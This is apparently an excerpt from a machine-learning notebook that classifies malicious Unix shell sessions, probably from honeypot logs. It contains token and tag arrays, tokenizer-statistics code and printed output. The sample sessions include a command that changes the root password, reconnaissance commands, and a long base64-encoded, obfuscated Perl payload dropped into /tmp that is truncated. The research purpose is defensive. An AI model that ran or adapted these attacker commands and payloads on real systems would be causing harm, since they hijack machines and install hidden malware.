Tags (166 elements): [-100, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -100]
EXAMPLE WITH UNIX TOKENIZED DATASET:
EXAMPLE) Given the session: 'cat /proc/cpuinfo | grep name | wc -l ; echo root:NPb3W95GP6wz | chpasswd | bash ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ;'
Tokens (138 elements): ['<s>', 'Ġcat', 'Ġ/', 'proc', '/', 'cpuinfo', 'Ġ|', 'Ġgrep', 'Ġname', 'Ġ|', 'Ġwc', 'Ġ-', 'l', 'Ġ;', 'Ġecho', 'Ġroot', ':', 'NP', 'b', '3', 'W', '95', 'GP', '6', 'wz', 'Ġ|', 'Ġch', 'passwd', 'Ġ|', 'Ġbash', 'Ġ;', 'Ġcat', 'Ġ/', 'proc', '/', 'cpuinfo', 'Ġ|', 'Ġgrep', 'Ġname', 'Ġ|', 'Ġhead', 'Ġ-', 'n', 'Ġ1', 'Ġ|', 'Ġa', 'wk', 'Ġ{', 'print', 'Ġ$', '4', ',$', '5', ',$', '6', ',$', '7', ',$', '8', ',$', '9', ';}', 'Ġ;', 'Ġfree', 'Ġ-', 'm', 'Ġ|', 'Ġgrep', 'ĠMem', 'Ġ|', 'Ġa', 'wk', 'Ġ{', 'print', 'Ġ$', '2', 'Ġ,', '$', '3', ',', 'Ġ$', '4', ',', 'Ġ$', '5', ',', 'Ġ$', '6', ',', 'Ġ$', '7', '}', 'Ġ;', 'Ġls', 'Ġ-', 'lh', 'Ġ$', 'which', 'Ġls', 'Ġ;', 'Ġwhich', 'Ġls', 'Ġ;', 'Ġc', 'ront', 'ab', 'Ġ-', 'l', 'Ġ;', 'Ġw', 'Ġ;', 'Ġun', 'ame', 'Ġ-', 'm', 'Ġ;', 'Ġcat', 'Ġ/', 'proc', '/', 'cpuinfo', 'Ġ|', 'Ġgrep', 'Ġmodel', 'Ġ|', 'Ġgrep', 'Ġname', 'Ġ|', 'Ġwc', 'Ġ-', 'l', 'Ġ;', 'Ġtop', 'Ġ;', 'Ġun', 'ame', 'Ġ;', '</s>']
Tags (138 elements): [-100, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -100]
# COMPUTING STATS
def analyze_token_lengths_bert(dataset):
split_sentences = [x.split(" ") for x in dataset["session"]]
tokenized = bert_tokenizer(
split_sentences,
is_split_into_words=True,
truncation=False, # NO truncation here
)
lengths = [len(ids) for ids in tokenized["input_ids"]]
avg_len = sum(lengths) / len(lengths)
max_len = max(lengths)
too_long = sum(1 for l in lengths if l > 512)
print(f"\n--- Tokenizer Stats Bert ---")
print(f"Average token length: {avg_len:.2f}")
print(f"Max token length: {max_len}")
print(f"Sessions that would be truncated: {too_long} out of {len(lengths)}")
# Find the index of the session with the maximum number of tokens
max_idx = max(range(len(tokenized["input_ids"])), key=lambda i: len(tokenized["input_ids"][i]))
# Get the max token count
max_token_count = len(tokenized["input_ids"][max_idx])
# Get the original session (as a string) and split into words
original_session = dataset["session"][max_idx]
bash_word_count = len(original_session.split(" "))
print(f"Max token count: {max_token_count}")
print(f"Original bash word count: {bash_word_count}")
print(f"Session: {original_session}")
def analyze_token_lengths_unix(dataset):
split_sentences = [x.split(" ") for x in dataset["session"]]
tokenized = unix_tokenizer(
split_sentences,
is_split_into_words=True,
truncation=False, # NO truncation here
)
lengths = [len(ids) for ids in tokenized["input_ids"]]
avg_len = sum(lengths) / len(lengths)
max_len = max(lengths)
too_long = sum(1 for l in lengths if l > 512)
print(f"\n--- Tokenizer Stats Unix ---")
print(f"Average token length: {avg_len:.2f}")
print(f"Max token length: {max_len}")
print(f"Sessions that would be truncated: {too_long} out of {len(lengths)}")
# Find the index of the session with the maximum number of tokens
max_idx = max(range(len(tokenized["input_ids"])), key=lambda i: len(tokenized["input_ids"][i]))
print("Index of the longest session: ", max_idx)
# Get the max token count
max_token_count = len(tokenized["input_ids"][max_idx])
# Get the original session (as a string) and split into words
original_session = dataset["session"][max_idx]
bash_word_count = len(original_session.split(" "))
print(f"Max token count: {max_token_count}")
print(f"Original bash word count: {bash_word_count}")
print(f"Session: {original_session}")
analyze_token_lengths_bert(encoded_dataset["train"])
analyze_token_lengths_unix(encoded_dataset["train"])
Token indices sequence length is longer than the specified maximum sequence length for this model (550 > 512). Running this sequence through the model will result in indexing errors
--- Tokenizer Stats Bert ---
Average token length: 189.79
Max token length: 1889
Sessions that would be truncated: 21 out of 200
Max token count: 1889
Original bash word count: 134
Session: cd /tmp || /var/tmp || /dev/shm ; echo ZXZhbCB1bnBhY2sgdT0+cXtfIkZVWSgiMVA8Rl1DOTctUztSYF0oIj1SPFdFTjhSPFsiQEhEPFY1Uj1GRUQ7VyhdKVMkVC1CWFEuIzROLDM8UStDKFItUjxAPTZZTDk3LVMoIjFTXzk3KVY6NjFPPENMKjs3REApJyFPPEcxQS8yPFQtIyxHLlBJTT4yIWA4ViVOODZFUy8yQEIoVyFQKEJEWyJGVVkoJCFBOSZVUy8yQEIwMihMKEVAQl8qM0wqOzdEQDAmJVU9JkBdKiIpTDtWLUE7JkFPPFcwQiozTCoiRlVZKCIxTDo2WUE8VV1NODdAXS1DTCo7N0RAKSctTDk2NVAvMyxbIkBJTT4yYERfO0ZFQzpSYF0oJj1FPSZZSThWTEgqM0wqOzdEQCkmRVI4VllBOzY0QC8yIUc5NzFOOjYtSyoiRFsiRlVZKCIxUjk2JUw7RiVNOTJgXSgiQUA9NllBXzs2NEArNiVAKjNMKiJGVVkoIjFBOFY1UzxWXVM6JjVMOyJgXSgjJFsiRlVZKCIxUDxGNUY6N0FPKCNUQChCJEAoQ0wqOzdEQCkmNVM9JiVUOjctVF86Ni1BPFJgXSgjYFsiRlVZKCIxUDg2LU89JjVTKCNUQCwzTCoiRlVZKCIxNjE1KTMwNFxALzJgRywiWFI4MjxbIkBIRDRURSc+Uj0pM0UwRz8yYF1fKCI9KTFUWS80RDRHLlBIRDRURSc+Uj0oNTVgRz8yYF0oIj0pMVRZLzRENEcuUEhENFRFJz5SPTQxNSktKVdUQC8yYEcyND0uM1UpJSlTTCopJS0pXzFXTEcwVEEsMSI9XSgjVEApVEUnM0RdMjEyPFsiQjEzMjQ9WylVITMpV1RALzJgRzI0PS4zVSklKVNMKiJHNVM5MiEpM1NIWjRWXUM6VjVULlBJVV88VjRANFZdQzpWNVQuUElVPFY0QDI0XFouRS1FOyY1Qz0jTCo4VkFEOjcoSChCXEIqM0wqKSctRTxHOUk5Jl1SLzIoRDA1KSc1RUxQNzIoQDo2OEBfKSQlMjFVOTssJVRbIkIwUC8yKEQ8JylPOFY1UzxWXEIrQik8LCIoWyJGVVkoIjFQOjYwXTlGXVI6U0wqOTdBST0iIUk5QmBEPCZFRC5QSUQ6NjRAXyhFIVI7VilMOTZVQSgmLU87MiFPKCY5TzxGTFooIjBBKEIhVTtGUUU8VyxAOSY1Rjo2WUU5IkBEPCZFRCozTCoiRlVZKCI1STxGLT88VjVSPUY1Ul88U0wqOzdEQCk0MSMwU0wqOzdEQCkmMUM4VV1TOTZQQC8yIU45NzxAMjRcWi5FLUU7JjVDPSJUXjtGNVcqIkRbIkBIKiJASVM9NihAOVY1VDtGRUNfOlIhWyJCYEA8RjVUPTcpTigiKVgoQllJO0cwSDxGJU45IkBZLjNEWSoyRE4oQlRCK0ZFTj0iQVI4NllEKiNEWS4zREkqM0wqPzBIKiJHLVU4QiFHXzk3MUk5JjVOPSIhWyJCYEA7N0RAKScpRT0mXVI7Rl1JOSY1Tj0iYF0oIjk/OVY1VCoiKUg9JzFQLkJcTz1XPVcrRlVJO0chTzwiWUM7VlRPPFZMUV8sRyFBOFZMTzo2MUU7RzFTK0chSDwiKEkuUEhAKCZVWSgiMUk5JjVOPSYtSDg2WUM5MmBdKCZFTj0iQVI4NllEKiMkUCwjYEkqM0wqKCIhSTlCYEhfKSZFRDk2WVQ4VkFBO0YtRSgjWEAsU2BJKCdMKigiYEAoIiFSOTcxVTxGWEApJllJOFZMWyJCYEA/MiFFOyctRSgnTCooImBAKCIhUjk3MVU8RlhAXyknKUU9Jl1SO0ZdSTkmNU49I0wqKCIhXSJCYEA8RjVUPTcpTigiMVI5NzFPPEZZTzo2MUU7RzBbIkdUKiJHLVU4QiFHOTcxTjg2VUUoJ0wqKCIhTV8+MmBEPEY1VDtXKU47VllBOzY0QC8yYEY3Vj1FPSJAQjonMVQ8I0hPK1c9Vz1SWU06NllQO1dgTjhWXU0rVy1LLDMpUDg2LUsrVllBOzY1UytHIUhfPCIoSS5QSEAoJylFPSc1UjtCYEQ8RjVUO1cpTjtWWUE7NjRbIkdUKiJHLVU4QiFHOTcxSTkmNU49IyhAPlBIQCgiYEAoImBAKCZVWSgiMUw5NllHXz0mQF08VkFJOUcwWyJCYEAoImBAKCJgQCkmUUU7Rj1UOiJgXSgjLEA6NjhAKiIxTDk2WUc9JkBALyJgUyozTCoiQmBAKCJgQCgiYEA7N0RAMCYtSF84NylTLzJARzgyPE4rQj1aKVJQRzAyPE4rQj06KVJQRywyPE4rQjxZKVJEWyJCYEAoImBAKCJgQDlGXVI5NiVDOiJgSCwyWE4pJlFFO0Y9VDoiRCpfKCJgQCgiYEAoIiFbIkJgQCgiYEAoImBAKCJgQCgiYEAoImBEPEYlTjkmXU08VzFSOjZZRytDVEQ4VkFBPEctOzxGJU45IiFgOFZBQTxHLT0uUEhAXygiYEAoImBAKCdUKigiYEAoImBAKCIhUjk3MVU8RlhAKScpQTtGMU87Ny1UPEZFTjlTTCo/MEgqPFc1QigmPUU9Jy1UO1cpRSgiQEQpIkQqPlBIQF8oJlVZKCIxVTxGUEAvMiFTOiZFRj0jTCooIiFNPjJgRDlGRUw5MmBdKCctSDo2OVQuUEgqKCJgRDonMVQ8JV1TPScpRTg2VT87VzVUKCNUQCwzTCpfKCIhTzwmNU4qJD0lNSVdLzU1MSYyNFElKyJgQi9CYEQ5RkVMOTIoSS5QSEAoIjVIPScxUDdWUU87VyE/OFZBRThWTEAvMmBIKjNMKigiIT85VjVUXyoiMVU8RlBJLlBIQCgmLUw7Vy1FKCQ9JTUlXS81NTEmMjRRJS5QSEAoJylFPSc1UjtCYEQ7NiVJO0NIWjonMVQ8JV1HOTcxPzxGNVM9NlFULlBJXV8iQElTPTYoQDdWPUU9YElbIkJgQDs3REApJzVSOyJgXSgnLUg6NjlULlBIQCgmVVkoIjFQPEZdWD4yYF0oIihCLlBIQCgmPVI5N2BAPlJBTDhSQERfN1JEQDk3JEAoRkFUPSchPzwnKU8+J0RCKjJgRilCYEgpJyFSO1dBWSgjVEApJDUuNUdMRDdXVEk/MiFLOTdFUygiNSUzRThbIkJgQDo2OEAqIkBEXzwnKU8+J0RAOTckQChCKEkoIjhGKCIxVTxGUEAvN1hAOzJRPjonMVQ8I0hPK1JBOzdCXFo3MkxJKiNcWi5CQTw5IkxJKjNcSCtVUTMqQkRfKSJQSV8oJ0wqKCJgQCgmVVkoIjFIO1ctVCgjVEApIyRbIkJgQCgiIU0+MmBEPCZdUj0iYF0oIjBSKCdRXCgjQFAuUEhAKCJgQDs3REApJyFBPSZAQC8yYERfLFNMKigiYEAoIjFQODcxSCgjVEAoQlxCKCc1TjsmNVM8UiFEOTY5STtGNUQqIjFQODcxSCozTCooImBAKCcpRT0nNVI7QiE/PScpST1GRUE7JV1IXz0nMVA3Vj1FPSJARDomXVM9IlBAKSchTzxHMEwoIjFQODcxSCozTCooIiFdKCY1TDxWRUYoIkBEPCcpTz4nREAvN1hAOzJRPjonMVQ8I0hPK1JBO183QlxaNzJMSS5CQTw5IkxJKiJdPDRSSEkvUjBMKjIhWyJCYEAoIiFNPjJgRDomXVM9ImBdKCIwUS5QSEAoImBAOzdEQCknIU88RzBALzJgRCxDTCpfKCJgQCgmVVkoIjFQODcxSCgjVEApJzVSOyNMKigiYEAoJylFPSc1UjtCIT89JylJPUZFQTslXUg9JzFQN1Y9RT0iQEQ6Jl1TPSJQQCknIU88RzBMXygiMVA4NzFIKjNMKigiIV0oJjVMPFY0QD5QSEAoImBAPEY1VD03KU4oJzVOOSY1Ri5QSEAoJ1QqPzBIKiJHLVU4QiE/PScpST1GRUE7JV1IPScxUF83Vj1FPWBJWyJCYEA7N0RIKSZBTzxXMEwoIjFQO1cpVCsiYEQ8JiVUOiJEQC8yIWA3U0wqKCIhTT4yQEQwND0lM0UwTCgiMTYxNSkzMjRdLisiYERfPCJEWyJASEAoIjEhMVQ1LjUiYF0oIilHOTcwTTs2RU46NlVBOyIoWyJCYEApJTklNEUtKTNUWEAvMmBCLENgUCwjYFEsM0BCLlBIKigiYEQ8JiVUXzoiYF0/QiFTK1JgTykzKFArVjxbIkBIQCgnKUU8NzVJPEY0QDI0XFouRS1POFZNRT0jTCooIiFMO1YtQTsiQEQ3RTxJKCNUQCwjTCooIiFNPjJgRF88Vl1DOlJgXSgkRS8uQ0kzO1YtSzk3MFouREUuMTUwTS9GWUU9UkEwOTY1UjA2MUQ8QmBdL0JgRDomXVM9IlAqKCJgQCgiYEAoImBAKCJgQCgiYEBfKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCIhMDk2NVI0Jl1SPSJgXS9CYEQ8Jl1SPSJQKigiYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAXygiYEAoImBAKCJgQCgiITA8Rl1UO1JgQCgjVF4oIj1UOFdgRytgSEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgQF8oJTFJOzY1Tz03MEAoI1ReKCM4UCoyIVw/IiFSOTcxVTxGWFsiQmBAKSctTzhWTE0vRiVVPSZdRjsnNVM6I0wqKCIhTT4yYEQ7RjVUOyZdQygjVEBfKSZBTzxXMFsiQmBAKSZZRT0mUU84UmBOLzJgQi5CMVA7VylUKEIhSTlCYEQ8Jl1SPSJgQS8yYFgsI0wqKCIhTT4yYEQ8RjVRPTY1Uz0iYF0oIiknXzE1MEApJyFBPSZAQDIlMTQ0IlxRK0MhPCwjJFU3I2BRLEIoKigiYEAoImBAKCJgQCgiYEAoImBOKCIpKDtXLVQuQmBEO0Y1VDsmXUM3I2BRLTVQUF8sMyhCIkJgQCgiYEAoImBAKCJgQCgiYEArQmBCNTctRTxCVSE5VjVOPSNIQCkkJScxNFk0K1IxNjE1KTMyNF0uK1c1PCwjJFU3I2BRLEIoWyJCYEBfKScpRTw3NUU8VzBAK0NUQChFIVI4Nj1NODNIQDtGXE04ViVDOiY1PCwjJFU3I2BRLEIoQDo2OEAqIjFNODZFTi5DSUg9JzFQN1ZZTzdWLUE4VkFFXyozTCooImBEPEY1UT02NVM9ImBOLzJgQjcjYFEtNVBQLDMoQi5QSEAoJyFSOjZZVCgiMVM7Vi1LKCIxUjk3JVU5Ny1ULlBIKigiIU0+MmBEOEc1Rl8oI1RAKEIoWyJCYEA7N0RAKSZYWyJCYEA7N0RAKSYoUSgjVEAoQihbIkJgQD1WQUk7JjRAKiIxTigjVEA8V0VTPEY1QTkiQEQ8Vl1DOlJQQCkmKVVfOUJQQC4iSFEsIyhUKyIhTDk2WUc9JkBIKSYpVTlCREkqMiFbIkJgQCgiIUk5QmBIKSYoUSgmNVEoIihCKjIhWyhgSEAoImBAKCJgRDhDJEAvMmBEXzhHNUYuUmBAKCJgQCgiYEAoYEhAKCJgQCgiYEQ4RzVGKCNVXignLE8rQkxfNyNgUS0zXTwsIyRSNyNgUS0zXTwsIyRSK1JdUy5SYEAoImBAKGBIQF8oImBAPzBIQCgiYEA6NjhAKiIxSD0nMVA3Vy1UPEY1QTs1XU89NzBJKCdMQDwnKUk7RzBAMVQ1NDdUXTU1JDkpMyQ0QCkmKVU5Q0xAKSYpVTlCYF1fKCIoQi5SIV0iQmBAPzBIQCgnKUU9JzVSO0IhVTtGMUU5QiFVO0ZRRTxXLEA5JjVGOjZZRTkiQEQ7QkRbIkBIQCgiMU04NkVOLkNJSD0nMVA3Vj1FXz0lXVI5Ny1VOycwQC8yYFIsI2BbIkJgQDo2OEAqIjFCLDJgXT9CIU0rJVkoNSUxMCtVUUQqVVBONyYwSzcnLEsqJVFEKlJFOzdFUFAsMyk9KkVQUF8sMyhMKjIhWyJCYEAoImBEOzYlSTtDSFo6JzFUPCVdRzk3MT88RjVTPTZRVCgjVEApIyRbIkJgQCgiIUk5QmBIKSZVQTo2WFouRkFUPSchPzlWNVRfN1cpRTxXNUw9ImBdP0JgTzdDLFA2UyRSLFM9PStSYEYpQmBEOEMkQC83WEArVVBQLDMpLDtWLUE9JkVPO0NJPDxSSEg3JSxLKjJcKioyIVsiQmBAXygiYEAoJlVZKCIxVTxGUEAvMmBELDNMKigiYEAoImBAPEY1VD03KU4oJzVOOSY1RigmRUYoIjFIPScxUDdWUU87VyE/OFZBRThWTVspJzVSOydUS18qU0wqKCJgQCgiYEA8RjVUPTcpTiglXUc5NzBIKSc1UjsiRFsiQmBAKCIhXSJCYEAoIiFSOTcxVTxGWEA9NllEOTY4QD02WUw5Ny1TKCIxTTg2RU5fLkNJSD0nMVA3Vj1FPSVdUjk3LVU7JzBALzdYQCtVWFIrU0wqKCIhXSJASEAoJylFPSc1UjtCYEQ4RzVGLlBJXSJASCopJy1FOyVdQzsmRUU7RzFFXygjVEAyNFxaLkUtRTsmNUM9IlReO0Y1VyoiRFsiRy1VOEIhUzk2WUQ8RiVXKCdMKigiIUk5QmBIKSItPygjVF0oIjxRKVJEQD5QSEAoImBAOzdEQF8pJy1POFZNRT0iYF0oIjE/NlMhPS5QSEAoImBAPCcpSTtHMEApJy1POFZNRT0iYEIpJV07LDVVPDtCKFsiQmBAPzIhRTsnLUUoJ0wqKCJgQCgiYEBfPCcpSTtHMEApJEUyMFVdQz03KT88Vl1DOlY1VCgiKEQ3VUxQNzVRTihDTCooIiFdIkdUKiJHLVU4QiFDO1ZZRThXMUE8QiFbIkJgQCgmVVkoIjFNXzk3NU46Ni1LKCNUQCklXTssJVRbIkJgQCgmVVkoIjFTOTcpVjo2MU88RV1DO1ZYQC8yYEQ3VUxRNzNMKigiYEA7N0RAKSchTzxHMUE3Vi1PO0JgXV8oIjE/NlMpPS5QSCooImBAOzdEQCkkRTIwVV1TO1YtSzk3MEAvMiEpM1NIWjRWXUM6VjVULkNJKTNENTQrM1lOOTc8SDQnKU89JlxdL0IpVDhXYEJfKyIhMDk2NVIwNjFEPENUXihCMVM5NylWOjYxTzxFXUM7VlhCKyIhMDk2NVI0Jl1SPSNUXiknIU88RzFBN1YtTztCREA7VyhAPEY1VD03KU4qIyRJXy5QSEAoIiFJOUJgSDkmNUY6NllFOSJARDI1KSM3Vy1POFZNRT0iREkoJ0wqKCJgQCgiYEQyNSkjN1YtVTxFXVM7Vi1LOTcwQC8yYEQyNSkjN1ctT184Vk1FPSNMKiJCYEAoImBAKSRFMjBVXVM7Vi1LOTcwTS9GJVU9Jl1GOyc1UzoiQFEqM0wqKCJgQCgiYEQ8VjVMN1YtTDo2NU49JjRNL0YlRDkiQERfMjUpIzdXLU84Vk1FPSJEWyJASEAoImBAKCIxSTxGLT88VjVSPUY1UjxXTEQyNSkjN1YtVTxFXVM7Vi1LOTcxXT5SPUg7Vy1UKVdUQC8yYEIpJy1FXzxHOUk5Jl1SN1YtTztCKFsiQmBAKCJgQCkmRVI4VV1TOTcpVjk3KVM+UjEpNEQtPzhXNVI3Vy1POFZNRT0nVVspVyFPPEcxQSlXVEAvMmBCKSchT188RzFBN1YtTztCKFsiQmBAKCJgQCkmRVI4VV1TOTcpVjk3KVM+UjEpNEQtPzhXNVI3Vy1POFZNRT0nVVspVllJOFZMRz8yYF0oIjFNOTc1Tjo2LUtfLlBIQCgiYEAoIjFJPEYtPzxWNVI9RjVSPFdMRDI1KSM3Vi1VPEVdUztWLUs5NzFdPlI9TTk3NUk8Ij1dKCNUQCkkRTIwVV1TO1YtSzk3ME0vRy1PXzhWTUg7Vy1ULlBIQCgiYEAoJllJOFZMSChCMU05NzVOOjYtSyhCRFsiQmBAKCJgQDxWNU45JylBPVJAQjU1LSU0QmBEOjcpQztGJU05MmBCK0IxKV80RC0/PFZdQzpWNVQrM1lTO1YtSzomXVM9IlhCKCIxUzk3KVY6NjFPPEVdQztWWEAuQjFSOTYlTDtGJU05MihJLlBIQCgiYEAoJy1MOTY1UCgjKFtfIkJgQCgnVCoiR1QqOzdEQCkmUUk7RjU/PSY1TTwjTCo9VkFJOyY0SCgjJEAqMiFbIkJgQCgnPUg6NlFFKCJAQSomTUU+NyxIKTZFUjhVXVM5NylWXzk3KVMqMkRJKCdMQDhWXU45Ni1UODcoSChCMU46Ni1LKEJQQChCMVM5NylWOjYxTzxCKEwoIihEPCZdUj0mJEIqM0xAPzBIQCgiIUQ5NlFFPSY0SF8pJkVSOFVdUzk3KVY5NylTPlI8Rz8yREA6NjhAKiYxRTlGRU45NjBIKSZFUjhVXVM5NylWOTcpUz5SPEc/MkRJLlBIQCgiYEYxJC0jLkNJQztWWU5fOTYtVDo2XU48U0wqKCJgQDs3REAwJylFODYxWSgjVEApJy1FOyVdQzsmRUU7RzFFKzNZQzg2WT88RjVBOSJAUCtDOEkuUEhAKCIhTjk3QVQoJzVOXzsmNVM8UkFgPEY1QTknREkuUEhAKCIhRjtXKUU4Ni1IKCIxRjoiYEgwJylFODYxWSoyIVsiQmBAKCJgQCkkRTIwVV1DPTcpPzxWXUM6VjVUKCNUQF8pJjlILlBIQCgiYEAoIjFNOTc1Tjo2LUsoI1RAKSZFUjhVXVM5NylWOTcpUz5SMSk0RC0/OFc1UjdXLU84Vk1FPSdVWylWWUk4VkxHPzNMKigiYEBfKCJgRDtHKUU4NjBALzIhUz43LVI5NiVEKiIxRjoiUEApJlVTOVJQQC0jYFktQkRbIkJgQCgiYEA6NjhAKiIxTjxGNUE5ImBdLzJgUCoyIVsiQmBAXygiYEAoImBAKSctRTslXUM7JkVFO0cxRSszWVI5NlVPPUY0SCkmOUgqM0wqKCJgQCgiYEAoImBEOUZATS9GLUw7Vy1FLlBIQCgiYEAoImBAKCYxRV87JjVUOTJARDo3KUM3Vy1FPEc5RTxHLVspJjlIPzJEWyJCYEAoImBAPzBIQCgiYEAoJCFMOjZZRTxSYF0oJy1QOyZFVCgiQE83JlhPKyJgRDs3LUdfKjNMKiJCYEAoImBAOUZdUiomVVkoIjFDLzNgWygiMUMvI1RAKSItTDo2WUU8U0xAKSYsSypSREA+UEhAKCJgQCgiYEApJlFJO0Y0QC8yYEQ7JkVOXzk3LTspJi09LlBIQCgiYEAoImBAKSZRSTtGNF0pJlFJO0Y1Pz0mNU08IlhEOyZFTjkyIUk5QmBIKSZRSTtGNT89JjVNPCJEWyJCYEAoImBAKCJgRF87JkVOOTVdVDk2VVAvMjxHLlBIQCgiYEAoImBAKSZRSTtGNEAvN1hAPFJdPDxCME8rU0wqKCJgQCgiYEAoJzVOOyY1UzxSYEgpJixALzNUQCkiLUxfOjZZRTxSREA+UEhAKCJgQCgiYEAoIiFQODcpUzkyQEIpJlFJO0Y0QiozTCooImBAKCJgQCgnVEA5NlFTOTIhWyJCYEAoImBAKCJgQCgiYEA6NjhAXyoiMEM7JkVOOTcsQC8zVEAsIkRAPlBIQCgiYEAoImBAKCJgQCgiYEA8JiVSPFY0SChCMUw6NllFKEJEWyJCYEAoImBAKCJgQCgiYEA/MiFFOyctSV85QmBIKSZRSTtGNVM2UjFDNzJgXT9CYE83JyhEK1JEQD5QSEAoImBAKCJgQCgiYEAoImBAKCIhUDg3KVM5MkBCKSZRSTtGNEIqM0wqKCJgQCgiYEBfKCJgQCgiIV0oJjVMPFZFRigiQEQ7JkVOOTJgXT9CYE83QkE8NFJMSSgkWS81JEUjMTIhITU1MSgoI0k8KkVQSjciSE8qMiFbIkJgQCgiYEAoImBAXygiYEAoImBAKCchQTxHLUUqIihEOyZFTjkyKEkuUEhAKCJgQCgiYEAoImBAKCdUQDk2UVM5MiFbIkJgQCgiYEAoImBAKCJgQCgiYEAoIjFMOjZZRV83VzFFOzdgQC8yYEQ7JkVOOTNMKigiYEAoImBAKCJgQCgiIV0iQmBAKCJgQCgiIV0iQmBAKCJgQCgnVCooImBAPzBJXSJASVM9NihAPCYlUjxWNEBfPlBIQCgiIU0+MmBEPFY1Uj1GJVI5UmBdKCctSDo2OVQuUEhAKCIhSTlCYEgpJy1FPEc5QTxGPEAvN1hAK1VZMDI0WScoJVBaKiJYSioyXEkoJ0wqXygiYEAoIiFTOTZZRDxGJVcqIikwM1RZJygjSEQsMihJLlBIQCgiIV0oJjVMPFZFRigiQEQ8VjVSPUYlUjlSYF0/QmBPN0VQWioiWEsvUkU8KDJATl8qU1xJNyRgSCtCTF8qMiEwNERFNjM1LScoIkBOKlNcSSglUFoqIlhLKjJcSSgnTCooImBAKCJgQCgmVVkoIjFQO0NURCwzTEA7N0RAKSZdTjkmNEBfLzJgRC0jTEA7N0RAKSYlUjlXLEAvMmBELTNMKigiYEAoImBAKCZFRigiQEQ4NylHPFJgXT9CYE83RVBQLCMlNjE1KTMyNF0uNyNgUCwyME8qMiFbXyJCYEAoImBAKCJgQCgmWU89JkVDOTJAQiknIU4oQlBAKEVQUCwjJTYxNSkzMjRdLigmVSk0RCxAPUM4TiwzOEAxNFklKCQlLDI0WEAxVCUiNERFJV8zJVBQLCMkQiozTCooImBAKCJgQCgnVCooImBAKCJgQCgmNUw8VkVGKCJARDg3KUc8UmBdP0JgTzdFUFAsIyUwMjRZJzcnLEsqJVFEKlJFPCwjYFFfKSJcSSgnTCooImBAKCJgQCgiYEA7Rl1UOjYtRSoiKEQ8JlhCKyJgQjcjYFAsNSEvM0Q9PCwjYFEoQkRbIkJgQCgiYEAoIiFdIkJgQCgiYEAoIiFFXzsnLUk5QmBIOVcpRTwiIVspJVxALzdYQCtVWTw0MjFQO0VRJSkiXUkoJ1RAMCYlRDs3LEkoJ0wqKCJgQCgiYEAoImBAOjY4QCoiMU87RjFFKCY1UV8oIihEOzY1VTtGRUM6UihJPlBIQCgiYEAoImBAKCJgQCgnLUg5NlFMKiIoRDwmWEIrImBCKSYlUjlXLEIqM0wqKCJgQCgiYEAoImBAKCIhXSJCYEBfKCJgQCgiYEAoJjVMPFZFRigiQEQ4NylHPFJgXT9CYE83QkE8NDIxTTk3NU46Ni1LNyQ1XDclJEQ8JylFOUZFWDtVUSUqNVFTKlJATipCRE8oIkRAXz5QSEAoImBAKCJgQCgiYEAoIiFNPjJgRDtGJVQ8RkVYKCNUQCkjJFsiQmBAKCJgQCgiYEAoImBAKCZVWSgiMUE8RjxALzJgRCxDTCooImBAKCJgQF8oImBAKCJgQDo2OEAqIjFBPEY8QC83WEArVVk8KDJATipCRE8qMiFbIkJgQCgiYEAoImBAKCJgQCgiYEA6NylDODctRSoiKEQ8JlhCKyIoRDtWWURfOTIoTChCMFEoQkRAPTZZTDk3LVMoIkBEO0YlVDxGRVgoJjVRKCIoRDwnKUU5RkVYO1IoQDg2WUQoIjFBPEY8QC83WEArVVk8KDZZSThWTE8qM0wqXygiYEAoImBAKCJgQCgiYEA/MiFFOyctSTlCYEgpJiVSOVJgXT9CYE83RVFgKiJYSioyXEkoJ0wqKCJgQCgiYEAoImBAKCJgQCgiYEAoIjFPO0YxRV88ImBdKCIxTztGMUUuUEhAKCJgQCgiYEAoImBAKCJgQCgiYEApJl1OOSY1UCgjVEApJyFOKCZFRigiMU87RjFFKCY1USgiMU05NzVOOjYtSy5QSEBfKCJgQCgiYEAoImBAKCJgQCgiYEA4RjlVO0YsSChCMU87RjFFPCIoTChCMFEoQkRbIkJgQCgiYEAoImBAKCJgQCgnVEA5NlFTOTIhWyJCYEAoImBAXygiYEAoImBAKCJgQCgiIVM6JjVMOyJAQikmXU45JjRCKyJgQikmJVI5UihJLlBIQCgiYEAoImBAKCJgQCgiIV0iQmBAKCJgQCgiYEAoJ1QqKCJgQF8oImBAKCdUKigiYEA/MiFFOyctSTlCYEgpJy1FPE